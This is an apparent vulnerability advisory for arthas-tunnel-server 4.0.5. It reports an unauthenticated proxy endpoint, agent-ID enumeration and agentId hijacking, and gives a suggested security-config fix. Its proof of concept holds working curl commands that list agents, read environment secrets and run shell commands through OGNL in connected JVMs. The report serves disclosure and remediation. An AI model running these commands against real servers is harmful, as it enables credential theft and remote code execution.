#3230·arthas

arthas-tunnel-server unauthenticated proxy endpoint allows arbitrary OGNL execution on connected JVM agents

Author: geo-chenCreated Jun 29, 2026Updated Jun 29, 2026

version: 4.0.5

Summary

arthas-tunnel-server's /proxy/{agentId}/** endpoint is accessible without any authentication. An attacker who knows a valid agentId can proxy arbitrary HTTP requests directly to that agent's local Arthas API, which supports OGNL expression execution and enables arbitrary code execution within the target JVM. When the arthas.enable-detail-pages option is enabled, all connected agent IDs are enumerable by unauthenticated callers via /api/tunnelApps and /api/tunnelAgentInfo, making full exploitation trivial on shared tunnel server deployments.

Details

The tunnel server is a Spring Boot application that routes Arthas diagnostic commands from web clients to connected JVM agents. Its security filter chain is configured in WebSecurityConfig.java:

java
// tunnel-server/src/main/java/com/alibaba/arthas/tunnel/server/app/WebSecurityConfig.java, line 26-27
httpSecurity.authorizeHttpRequests(authorize -> authorize
    .requestMatchers(EndpointRequest.toAnyEndpoint()).authenticated().anyRequest().permitAll())

Only Spring Boot Actuator endpoints require authentication. All other paths, including /proxy/**, /api/tunnelApps, /api/tunnelAgentInfo, and /api/tunnelAgents, are permitAll() with no authentication.

ProxyController.java handles the proxy path:

java
// tunnel-server/src/main/java/com/alibaba/arthas/tunnel/server/app/web/ProxyController.java, line 49-51
@RequestMapping(value = "/proxy/{agentId}/**")
@ResponseBody
public ResponseEntity<?> execute(@PathVariable(name = "agentId", required = true) String agentId, ...)

The method performs no authentication or authorization check. It looks up the agentId in the global agentInfoMap and forwards the HTTP request to the matching agent's channel. The Arthas agent then proxies the request to its local Arthas HTTP API (default port 8563), which supports the ognl command:

POST /proxy/{agentId}/api
action=exec&command=ognl "@System@getenv()"

The ognl command evaluates arbitrary OGNL expressions in the context of the target JVM, enabling an attacker to read environment variables (which frequently contain database credentials, API keys, and service tokens), access heap memory, and execute OS commands:

ognl "@java.lang.Runtime@getRuntime().exec(new String[]{'/bin/sh','-c','id'})"

Agent ID enumeration (when arthas.enable-detail-pages=true): Both DetailAPIController endpoints are also permitAll():

java
// DetailAPIController.java, line 42-43
@RequestMapping("/api/tunnelApps")
@ResponseBody
public Set<String> tunnelApps(...) {
    // Returns all app names of connected agents -- no authentication
java
// DetailAPIController.java, line 67-68
@RequestMapping("/api/tunnelAgentInfo")
@ResponseBody
public Map<String, AgentClusterInfo> tunnelAgentIds(@RequestParam(value = "app") String appName, ...) {
    // Returns all agentIds and their host:port for a given app -- no authentication

Even with enableDetailPages=false (default), the /api/tunnelAgents?agentId=X endpoint acts as an unauthenticated existence oracle:

java
// DetailAPIController.java, line 89-103
@RequestMapping("/api/tunnelAgents")
@ResponseBody
public Map<String, Object> tunnelAgentIds(@RequestParam(value = "agentId") String agentId) {
    // Returns {"success":true/false} -- no authentication

Additionally, TunnelSocketFrameHandler.agentRegister() allows any WebSocket client to register with an arbitrary agentId of their choice (line 240-244):

java
// If the agent supplies its own ID, that ID is used without validation
List<String> idList = parameters.get(URIConstans.ID);
if (idList != null && !idList.isEmpty()) {
    id = idList.get(0);
}

An attacker who knows an existing agentId can overwrite it in agentInfoMap by registering their own WebSocket with that same ID, hijacking routing for that agent.

PoC

Prerequisites: arthas-tunnel-server running (default port 8080), one or more Arthas agents connected.

Step 1: Enumerate connected agents (requires arthas.enable-detail-pages=true)

bash
# Get all app names
curl http://tunnel-server:8080/api/tunnelApps
# Response: ["payment-service","order-service"]

# Get all agent IDs for an app
curl "http://tunnel-server:8080/api/tunnelAgentInfo?app=payment-service"
# Response: {"payment-service_AB3X9KZQM1PLRWHY56DC":{"host":"10.0.1.20","port":7777}}

Step 2: Confirm oracle without enableDetailPages

bash
curl "http://tunnel-server:8080/api/tunnelAgents?agentId=payment-service_AB3X9KZQM1PLRWHY56DC"
# Response: {"success":true} -- no credentials required

Step 3: Execute OGNL in the target JVM, no authentication

bash
# Read environment variables (contains secrets/credentials)
curl -X POST "http://tunnel-server:8080/proxy/payment-service_AB3X9KZQM1PLRWHY56DC/api" \
  --data 'action=exec&command=ognl "@System@getenv()"'
# Returns: {"body":{"results":[{"value":{"DB_PASSWORD":"s3cr3t","API_KEY":"abcd1234"}}]}}

# Execute OS command
curl -X POST "http://tunnel-server:8080/proxy/payment-service_AB3X9KZQM1PLRWHY56DC/api" \
  --data 'action=exec&command=ognl "@java.lang.Runtime@getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",\"id\"})"'

Live-validated: /proxy/{agentId}/api called without credentials returns HTTP 500 (proxy timeout) when agent is connected -- NOT HTTP 401. /actuator/env without credentials returns HTTP 302 to login, confirming the asymmetry. Tunnel server logs confirm ProxyController processed the unauthenticated request: http proxy, agentId: mockapp_MOCKAGENTID00001, targetUrl: /api.

bash
# HTTP 404 for unknown agentId -- no auth challenge:
curl -v http://tunnel-server:8080/proxy/FAKEID/api
# < HTTP/1.1 404

# HTTP 302 for actuator (auth required):
curl -v http://tunnel-server:8080/actuator/env
# < HTTP/1.1 302 Location: .../login

Impact

Any unauthenticated network attacker with access to the tunnel server can execute arbitrary OGNL expressions in any connected JVM agent. The attacker gains full read/write access to the JVM's memory, environment variables (credentials, tokens, keys), loaded class definitions, and can execute OS commands in the context of the Java process. In multi-tenant deployments (the intended use case), this allows lateral movement between all teams whose agents are connected to the shared tunnel server. There is no authentication requirement and no per-agent access control.

Suggested Fix

Add authentication to /proxy/**, /api/tunnelApps, /api/tunnelAgentInfo, and /api/tunnelAgents in WebSecurityConfig:

java
httpSecurity.authorizeHttpRequests(authorize -> authorize
    .requestMatchers(EndpointRequest.toAnyEndpoint()).authenticated()
    .requestMatchers("/proxy/**", "/api/tunnel*").authenticated()   // add this line
    .anyRequest().permitAll())

Per-agent authorization (only the agent's owner can proxy to it) would require a principal-to-agentId binding at registration time, which is the more complete fix for multi-tenant deployments.